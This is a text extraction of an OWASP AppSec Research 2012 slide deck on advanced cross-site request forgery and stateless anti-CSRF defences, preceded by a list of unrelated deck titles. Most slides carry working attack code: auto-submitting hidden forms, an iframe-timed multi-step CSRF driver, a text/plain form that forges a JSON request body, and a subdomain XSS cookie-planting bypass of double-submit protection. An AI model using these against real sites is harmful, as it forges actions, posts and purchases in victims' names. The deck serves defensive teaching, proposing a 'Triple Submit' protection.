 
PDF
Impact of IEEE Computer Society in Advancing Emerging Technologies including ...
Hironori Washizaki
 
PDF
NewMind AI Journal - Weekly Chronicles - July'25 Week II
NewMind AI
 
PDF
DevBcn - Building 10x Organizations Using Modern Productivity Metrics
Justin Reock
 
PDF
Blockchain Transactions Explained For Everyone
CIFDAQ
 
PPTX
Top iOS App Development Company in the USA for Innovative Apps
SynapseIndia
 
NewMind AI - Journal 100 Insights After The 100th Issue
NewMind AI
 
TrustArc Webinar - Data Privacy Trends 2025: Mid-Year Insights & Program Stra...
TrustArc
 
Meetup Kickoff & Welcome - Rohit Yadav, CSIUG Chairman
ShapeBlue
 
July Patch Tuesday
Ivanti
 
Building a Production-Ready Barts Health Secure Data Environment Tooling, Acc...
Barts Health
 
UiPath Academic Alliance Educator Panels: Session 2 - Business Analyst Content
DianaGray10
 
Log-Based Anomaly Detection: Enhancing System Reliability with Machine Learning
Mohammed BEKKOUCHE
 
Interview paper part 3, It is based on Interview Prep
SoumyadeepGhosh39
 
Webinar: Introduction to LF Energy EVerest
DanBrown980551
 
CIFDAQ Token Spotlight for 9th July 2025
CIFDAQ
 
Complete JavaScript Notes: From Basics to Advanced Concepts.pdf
haydendavispro
 
Human-centred design in online workplace learning and relationship to engagem...
Tracy Tang
 
SFWelly Summer 25 Release Highlights July 2025
Anna Loughnan Colquhoun
 
LLMs.txt: Easily Control How AI Crawls Your Site
Keploy
 
How Startups Are Growing Faster with App Developers in Australia.pdf
India App Developer
 
Impact of IEEE Computer Society in Advancing Emerging Technologies including ...
Hironori Washizaki
 
NewMind AI Journal - Weekly Chronicles - July'25 Week II
NewMind AI
 
DevBcn - Building 10x Organizations Using Modern Productivity Metrics
Justin Reock
 
Blockchain Transactions Explained For Everyone
CIFDAQ
 
Top iOS App Development Company in the USA for Innovative Apps
SynapseIndia
 

Advanced CSRF and Stateless Anti-CSRF

  • 1. Advanced CSRF and Stateless Anti-CSRF @johnwilander at OWASP AppSec Research 2012
  • 2. Frontend developer at Svenska Handelsbanken Researcher in application security Co-leader OWASP Sweden @johnwilander johnwilander.com (music) johnwilander.se (papers etc)
  • 4. Cross-Site Request Forgery Request Fo rgery Cro ss- Sit e
  • 5. Cross-Site Request Forgery Request Forgery Cros s-Si te Ph ish ing
  • 6. What’s on your mind? What’s on your mind? POST POST
  • 7. What’s on your mind? What’s on your mind? I love OWASP! POST POST
  • 8. What’s on your mind? What’s on your mind? I love OWASP! POST POST John: I love OWASP!
  • 9. What’s on your mind? What’s on your mind? POST POST
  • 10. What’s on your mind? What’s on your mind? POST I hate OWASP! POST
  • 11. What’s on your mind? What’s on your mind? POST I hate OWASP! POST
  • 12. What’s on your mind? What’s on your mind? POST I hate OWASP! POST John: I hate OWASP!
  • 13. What’s on your mind? What’s on your mind? POST <form id="target" method="POST" action="https://1-liner.org/form"> John: I hate OWASP! <input type="text" value="I hate OWASP!" name="oneLiner"/> <input type="submit" value="POST"/> </form> <script type="text/javascript"> $(document).ready(function() { $('#form').submit(); }); </script>
  • 14. <form id="target" method="POST" action="https://1-liner.org/form"> <input type="text" value="I hate OWASP!" name="oneLiner"/> <input type="submit" What’s on your mind? What’s on your mind? value="POST"/> POST </form> John: I hate OWASP! <script> $(document).ready(function() { $('#target').submit(); }); </script>
  • 16. What about ”several steps”? Step 1 Step 2 Step 3 State built up i steps, server roundtrip in-between
  • 17. Step 1 Step 2 Step 3 st ue ll r eq wi ed tep ous rg t s o s F a re vi l p to the m iss
  • 18. Can we forge timed GETs and POSTs in a deterministic, non-blind way? Step 1 Step 2 Step 3 1 2 3 4
  • 19. csrfMultiDriver.html invisible iframe csrfMulti0.html
  • 20. csrfMultiDriver.html invisible invisible iframe iframe target0.html csrfMulti1.html Wait
  • 21. csrfMultiDriver.html invisible invisible invisible iframe iframe iframe target0.html target1.html csrfMulti2.html Wait
  • 22. csrfMultiDriver.html invisible invisible invisible invisible iframe iframe iframe iframe target0.html target1.html target2.html csrfMulti3.html Wait
  • 23. csrfMultiDriver.html invisible invisible invisible invisible iframe iframe iframe iframe target0.html target1.html target2.html target3.html
  • 24. Let's look at An iframed CSRF Get
  • 25. Invisible iframe for timed GET <!DOCTYPE html> <html> <head> <script> var IFRAME_ID = "0", GET_SRC = "http://www.vulnerable.com/some.html?param=1"; </script> <script src="../iframeGetter.js"></script> </head> <body onload="IFRAME_GETTER.onLoad()"> Extra easy to CSRF since it's done with HTTP GET. </body> </html> csrfMulti0.ht
  • 26. The iframed page configures which URL to CSRF against via a JavaScript- <!DOCTYPE html> variable. <html> <head> <script> var IFRAME_ID = "0", GET_SRC = "http://www.vulnerable.com/some.html?param=1"; </script> <script src="../iframeGetter.js"></script> </head> <body onload="IFRAME_GETTER.onLoad()"> Extra easy to CSRF since it's done with HTTP GET. </body> </html> csrfMulti0.ht
  • 27. <!DOCTYPE html> <html> <head> <script> When the iframe'sGET_SRC = done var IFRAME_ID = "0", DOM is "http://www.vulnerable.com/some.html?param=1"; loading IFRAME_GETTER.onload() is </script> called. <script src="../iframeGetter.js"></script> </head> <body onload="IFRAME_GETTER.onLoad()"> Extra easy to CSRF since it's done with HTTP GET. </body> </html> csrfMulti0.ht
  • 28. <!DOCTYPE html> <html> <head> <script> var IFRAME_ID = "0", GET_SRC = Let's"http://www.vulnerable.com/some.html?param=1"; look at iframeGetter.js … </script> <script src="../iframeGetter.js"></script> </head> <body onload="IFRAME_GETTER.onLoad()"> Extra easy to CSRF since it's done with HTTP GET. </body> </html> csrfMulti0.ht
  • 29. var IFRAME_GETTER = {}; IFRAME_GETTER.haveGotten = false; IFRAME_GETTER.reportAndGet = function() { var imgElement; if(parent != undefined) { parent.postMessage(IFRAME_ID, "https://attackr.se:8444"); } if(!IFRAME_GETTER.haveGotten) { imgElement = document.createElement("img"); imgElement.setAttribute("src", GET_SRC); imgElement.setAttribute("height", "0"); imgElement.setAttribute("width", "0"); imgElement.setAttribute("onerror", "javascript:clearInterval(IFRAME_GETTER.intervalId)"); document.body.appendChild(imgElement); IFRAME_GETTER.haveGotten = true; } }; IFRAME_GETTER.onLoad = function() { IFRAME_GETTER.intervalId = setInterval(IFRAME_GETTER.reportAndGet, 1000); }; iframeGetter.js
  • 30. var IFRAME_GETTER = {}; IFRAME_GETTER.haveGotten = false; IFRAME_GETTER.reportAndGet = function() { var imgElement; if(parent != undefined) { parent.postMessage(IFRAME_ID, "https://attackr.se:8444"); } if(!IFRAME_GETTER.haveGotten) { imgElement = document.createElement("img"); imgElement.setAttribute("src", GET_SRC); imgElement.setAttribute("height", "0"); IFRAME_GETTER.onload() makes sure imgElement.setAttribute("width", "0"); that the iframe reports back to the imgElement.setAttribute("onerror", "javascript:clearInterval(IFRAME_GETTER.intervalId)"); main page once every second. document.body.appendChild(imgElement); IFRAME_GETTER.haveGotten = true; } so called heart beat function. A }; IFRAME_GETTER.onLoad = function() { IFRAME_GETTER.intervalId = setInterval(IFRAME_GETTER.reportAndGet, 1000); }; iframeGetter.js
  • 31. var IFRAME_GETTER = {}; IFRAME_GETTER.haveGotten = false; IFRAME_GETTER.reportAndGet = function() { var imgElement; if(parent != undefined) { parent.postMessage(IFRAME_ID, "https://attackr.se:8444"); } if(!IFRAME_GETTER.haveGotten) { In practice, document.createElement("img"); imgElement = the heart beats are delivered via postMessage between imgElement.setAttribute("src", GET_SRC); imgElement.setAttribute("height", "0"); the iframe and the main page. imgElement.setAttribute("width", "0"); imgElement.setAttribute("onerror", "javascript:clearInterval(IFRAME_GETTER.intervalId)"); document.body.appendChild(imgElement); IFRAME_GETTER.haveGotten = true; } }; IFRAME_GETTER.onLoad = function() { IFRAME_GETTER.intervalId = setInterval(IFRAME_GETTER.reportAndGet, 1000); }; iframeGetter.js
  • 32. var IFRAME_GETTER = {}; IFRAME_GETTER.haveGotten = false; IFRAME_GETTER.reportAndGet = function() { var imgElement; if(parent != undefined) { The GET CSRF is"https://attackr.se:8444"); executed with an parent.postMessage(IFRAME_ID, } <img src="vulnerable URL"> if(!IFRAME_GETTER.haveGotten) { imgElement = document.createElement("img"); imgElement.setAttribute("src", GET_SRC); imgElement.setAttribute("height", "0"); imgElement.setAttribute("width", "0"); imgElement.setAttribute("onerror", "javascript:clearInterval(IFRAME_GETTER.intervalId)"); document.body.appendChild(imgElement); IFRAME_GETTER.haveGotten = true; } }; IFRAME_GETTER.onLoad = function() { IFRAME_GETTER.intervalId = setInterval(IFRAME_GETTER.reportAndGet, 1000); }; iframeGetter.js
  • 33. var IFRAME_GETTER onerror event will fire The = {}; IFRAME_GETTER.reportAndGet = function() { does since the vulnerable URL IFRAME_GETTER.haveGotten = false; not respond with an image. We var imgElement; if(parent != undefined) { use that event to stop the parent.postMessage(IFRAME_ID, heart beat function. No heart "https://attackr.se:8444"); } beat means the main page if(!IFRAME_GETTER.haveGotten) { imgElement = this step is done and knows document.createElement("img"); imgElement.setAttribute("src", GET_SRC); can continue opening the next imgElement.setAttribute("height", "0"); iframe. imgElement.setAttribute("width", "0"); imgElement.setAttribute("onerror", "javascript:clearInterval(IFRAME_GETTER.intervalId)"); document.body.appendChild(imgElement); IFRAME_GETTER.haveGotten = true; } }; IFRAME_GETTER.onLoad = function() { IFRAME_GETTER.intervalId = setInterval(IFRAME_GETTER.reportAndGet, 1000); }; iframeGetter.js
  • 34. Let's look at An iframed CSRF Post
  • 35. <!DOCTYPE html> <html> Invisible iframe for timed <head> <script> POST var IFRAME_ID = "1"; </script> <script src="../iframePoster.js"></script> </head> <body onload="IFRAME_POSTER.onLoad()"> <form id="target" method="POST" action="https://www.vulnerable.com/addBasket.html" style="visibility:hidden"> <input type="text" name="goodsId" value="95a0b76bde6b1c76e05e28595fdf5813" /> <input type="text" name="numberOfItems" value="1" /> <input type="text" name="country" value="SWE" /> <input type="text" name="proceed" value="To checkout" /> </form> </body> </html> csrfMulti1.ht
  • 36. <!DOCTYPE html> <html> <head> <script> var IFRAME_ID = "1"; </script> The vulnerable URL can be <script src="../iframePoster.js"></script> </head> found in the form to be <body onload="IFRAME_POSTER.onLoad()"> posted. <form id="target" method="POST" action="https://www.vulnerable.com/addBasket.html" style="visibility:hidden"> <input type="text" name="goodsId" value="95a0b76bde6b1c76e05e28595fdf5813" /> <input type="text" name="numberOfItems" value="1" /> <input type="text" name="country" value="SWE" /> <input type="text" name="proceed" value="To checkout" /> </form> </body> </html> csrfMulti1.ht
  • 37. <!DOCTYPE html> <html> <head> <script> When the iframe's DOM is done var IFRAME_ID = "1"; loading IFRAME_POSTER.onload() </script> is <script src="../iframePoster.js"></script> </head>called. <body onload="IFRAME_POSTER.onLoad()"> <form id="target" method="POST" action="https://www.vulnerable.com/addBasket.html" style="visibility:hidden"> <input type="text" name="goodsId" value="95a0b76bde6b1c76e05e28595fdf5813" /> <input type="text" name="numberOfItems" value="1" /> <input type="text" name="country" value="SWE" /> <input type="text" name="proceed" value="To checkout" /> </form> </body> </html> csrfMulti1.ht
  • 38. <!DOCTYPE html> <html> <head> Let's IFRAME_ID iframePoster.js <script> var look at = "1"; … </script> <script src="../iframePoster.js"></script> </head> <body onload="IFRAME_POSTER.onLoad()"> <form id="target" method="POST" action="https://www.vulnerable.com/addBasket.html" style="visibility:hidden"> <input type="text" name="goodsId" value="95a0b76bde6b1c76e05e28595fdf5813" /> <input type="text" name="numberOfItems" value="1" /> <input type="text" name="country" value="SWE" /> <input type="text" name="proceed" value="To checkout" /> </form> </body> </html> csrfMulti1.ht
  • 39. var IFRAME_POSTER = {}; IFRAME_POSTER.havePosted = false; IFRAME_POSTER.reportAndPost = function() { if(parent != undefined) { parent.postMessage(IFRAME_ID, "https://attackr.se:8444"); } if(!IFRAME_POSTER.havePosted) { document.forms['target'].submit(); IFRAME_POSTER.havePosted = true; } }; IFRAME_POSTER.onLoad = function() { setInterval(IFRAME_POSTER.reportAndPost, 1000); }; iframePoster
  • 40. var IFRAME_POSTER = {}; IFRAME_POSTER.havePosted = false; IFRAME_POSTER.reportAndPost = function() { if(parent != undefined) { parent.postMessage(IFRAME_ID, "https://attackr.se:8444"); } if(!IFRAME_POSTER.havePosted) { makes sure IFRAME_POSTER.onload() thedocument.forms['target'].submit(); main iframe reports back to the IFRAME_POSTER.havePosted = true; page once every second. Again, a } }; heart beat function. IFRAME_POSTER.onLoad = function() { setInterval(IFRAME_POSTER.reportAndPost, 1000); }; iframePoster
  • 41. var IFRAME_POSTER = {}; IFRAME_POSTER.havePosted = false; IFRAME_POSTER.reportAndPost = function() { if(parent != undefined) { parent.postMessage(IFRAME_ID, "https://attackr.se:8444"); The heart beats stop automatically } when the POST is done since the if(!IFRAME_POSTER.havePosted) { document.forms['target'].submit(); iframe is loaded with thetrue; IFRAME_POSTER.havePosted = response } }; from the web server that got the POST. IFRAME_POSTER.onLoad = function() { setInterval(IFRAME_POSTER.reportAndPost, 1000); }; iframePoster
  • 42. The main page configures the order of the CSRF steps, opens iframes and … var CSRF = function(){ var hideIFrames = true, frames = [ {id: 0, hasPosted: "no", hasOpenedIFrame: false, src: 'csrfMulti0.html'} ,{id: 1, hasPosted: "no", hasOpenedIFrame: false, src: 'csrfMulti1.html'} ], appendIFrame = function(frame) { var domNode = '<iframe src="' + frame.src + '" height="600" width="400"' + (hideIFrames ? 'style="visibility: hidden"' : '') + '></iframe>'; $("body").append(domNode); }; … csrfMultiDriver.ht
  • 43. return { … listens on checkIFrames : function() { var frame; heart beats to for (var i = 0; i < frames.length; i++) { frame = frames[i]; time every iframe if (!frame.hasOpenedIFrame) { appendIFrame(frame); frame.hasOpenedIFrame = true; break; // Only open one iframe at the time } else if(frame.hasPosted == "no") { frame.hasPosted = "maybe"; break; // iframe not done posting, wait } else if(frame.hasPosted == "maybe") { frame.hasPosted = "yes"; break; // iframe not done posting, wait } else if (frame.hasPosted == "yes") { continue; // Time to allow for the next iframe to open } } }, receiveMessage : function(event) { if (event.origin == "https://attackr.se:8444") { CSRF.frames[parseInt(event.data)].hasPosted = "no"; // Still on CSRF page so POST not done yet } } csrfMultiDriver.ht
  • 44. Demo Multi-Step, Semi-Blind CSRF against amazon.com which has protection against this. The intention is to show how you can test your own sites.
  • 45. There used to be a protection in web 1.5
  • 46. Forced Browsing wizard-style Shipment info ✉ Payment info $ Next Buy!
  • 47. Forced Browsing wizard-style Shipment info ✉ Payment info $ Token Next Buy!
  • 48. Forced Browsing wizard-style Shipment info ✉ Payment info $ Re-Auth Next Buy!
  • 49. Forced Browsing wizard-style Token 1 Token 2 Token 3
  • 50. Forced Browsing wizard-style Token 1 Token 2 Token 3 State built up i steps, server roundtrip in-between
  • 51. Forced Browsing wizard-style Token 1 Token 2 Token 3 fo rge n’t to uld est Co qu re t step las out a w tith oken va lid
  • 52. But in RIAs ...
  • 53. RIA & client-side state { ”purchase”: {} }
  • 54. RIA & client-side state { ”purchase”: { ”items”: [{}] } }
  • 55. RIA & client-side state { ”purchase”: { ”items”: [{},{}] } }
  • 56. RIA & client-side state { ”purchase”: { ”items”: [{},{}], ”shipment”: {} } }
  • 57. RIA & client-side state { ”purchase”: { ”items”: [{},{}], ”shipment”: {}, ”payment”: {} } }
  • 58. RIA & client-side state { ”purchase”: { ”items”: [{},{}], ”shipment”: {}, ”payment”: {} } }
  • 59. Can an attacker forge such a JSON structure?
  • 61. CSRF possible? { ”purchase”: { ”items”: [{},{}], ”shipment”: {}, ”payment”: {} } }
  • 62. <form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners"> <input type="text" name=”” value="" /> <input type="submit" value="Go" /> </form>
  • 63. <form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners" style="visibility:hidden"> <input type="text" name=”” value="" /> <input type="submit" value="Go" /> </form>
  • 64. <form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners" style="visibility:hidden" enctype="text/plain"> <input type="text" name=”” value="" /> <input type="submit" value="Go" /> </form>
  • 65. <form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners" style="visibility:hidden" enctype="text/plain"> Forms produce a request body that looks like this: <input type="text" name=”” theName=theValue value="" /> ... and that’s not valid JSON. <input type="submit" value="Go" /> </form>
  • 66. <form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners" style="visibility:hidden" enctype="text/plain"> <input type="text" name='{"id": 0, "nickName": "John", "oneLiner": "I hate OWASP!", "timestamp": "20111006"}//' value="dummy" /> <input type="submit" value="Go" /> </form>
  • 67. <form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners" style="visibility:hidden" body that looks Produces a request like this: enctype="text/plain"> <input type="text" 0, "nickName": {"id": name='{"id": "John","oneLiner": "I 0, "nickName": "John", hate OWASP!","timestamp": "oneLiner": "I hate OWASP!", "20111006"}//=dummy "timestamp": "20111006"}//' value="dummy" /> ... and that is acceptable JSON! <input type="submit" value="Go" /> </form>
  • 68. <form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners" style="visibility:hidden" enctype="text/plain"> <input type="text" name='{"id": 0, "nickName": "John", "oneLiner": "I hate OWASP!", "timestamp": "20111006", "paddingDummy": "' value='"}' /> <input type="submit" value="Go" />
  • 69. <form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners" style="visibility:hidden" body that looks Produces a request like this: enctype="text/plain"> <input type="text" 0, "nickName": {"id": name='{"id": "John","oneLiner": "I 0, "nickName": "John", hate OWASP!","timestamp": "oneLiner": "I hate OWASP!", "20111006", "timestamp": "20111006", "paddingDummy": "="} "paddingDummy": "' value='"}' /> ... and that is JSON! <input type="submit" value="Go" />
  • 70. Demo CSRF POST then Demo CSRF + XSS The Browser Exploitation Framework http://beefproject.com/
  • 71. Important in your REST API • Restrict do CSRF with GETe.g. POST Easier to HTTP method, • Restrict to AJAX if applicable X-Requested-With:XMLHttpRequest Cross-domain AJAX prohibited by default • Restrict media type(s), e.g. application/json HTML forms only allow URL encoded, multi- part and text/plain
  • 72. Double Submit (CSRF Protection)
  • 73. Double Submit (CSRF protection) Anti-CSRF value as cookie ... ... and request parameter
  • 74. Double Submit (CSRF protection) cookie ≠ request parameter Cannot read the anti-CSRF cookie to include it as parameter
  • 75. Double Submit (CSRF protection) Anti-CSRF cookie can be generated client-side => no server-side state
  • 76. Demo Double Submit
  • 78. Are We Fully Protected Now? Of course not
  • 79. The Other Subdomain https://securish.1-liner.org https://other.1-liner.org Search Buy!
  • 80. The Other Subdomain https://securish.1-liner.org https://other.1-liner.org <script>alert('XSS')</script> Search XSS OK Buy!
  • 81. The Other Subdomain https://securish.1-liner.org https://other.1-liner.org <script> Search $.cookie( "doubleSubmitToken", "knownValue", { path: "/", domain: ".1-liner.org" }); </script> Buy!
  • 82. Demo Subdomain XSS Double Submit Bypass
  • 83. I'm proposing some sort of Triple Submit CSRF Protection
  • 84. Triple Submit (CSRF protection) Initial request of rich internet app
  • 85. Triple Submit (CSRF protection) Random HttpOnly cookie Cookie value as JavaScript variable
  • 86. Triple Submit (CSRF protection) Random HttpOnly cookie Cookie value as request parameter Stateful: Cookie name saved in server session Stateless: Server only accepts one such cookie (checks format)
  • 87. The 3rd Submit • The server sets an HttpOnly cookie with a random name and random value • The server tells the client the value of the random cookie, not the name • The client submits the value of the cookie as a request parameter
  • 88. The 3rd Submit • The server sets an httpOnly cookie response.setHeader("Set-Cookie", randomName a random randomValue + "; with + "=" + name and random value HttpOnly; path='/'; domain=.1-liner.org"); • The server tells the client the name and value of the random cookie • The Client submits the name and value of the cookie as a request parameter
  • 89. The 3rd Submit • The server sets an httpOnly cookie with a random name and random value <script> • var ANTI_CSRF_TRIPLE the client the name %>; The server tells = <%= randomValue </script> value of the random cookie and • The Client submits the name and value of the cookie as a request parameter
  • 90. The 3rd Submit • Cookie value as parameter • The cookie name • The cookie value
  • 91. My Demo System is Being Released as an OWASP • https://www.owasp.org/index.php? title=OWASP_1-Liner • https://github.com/johnwilander/ owasp-1-liner

Editor's Notes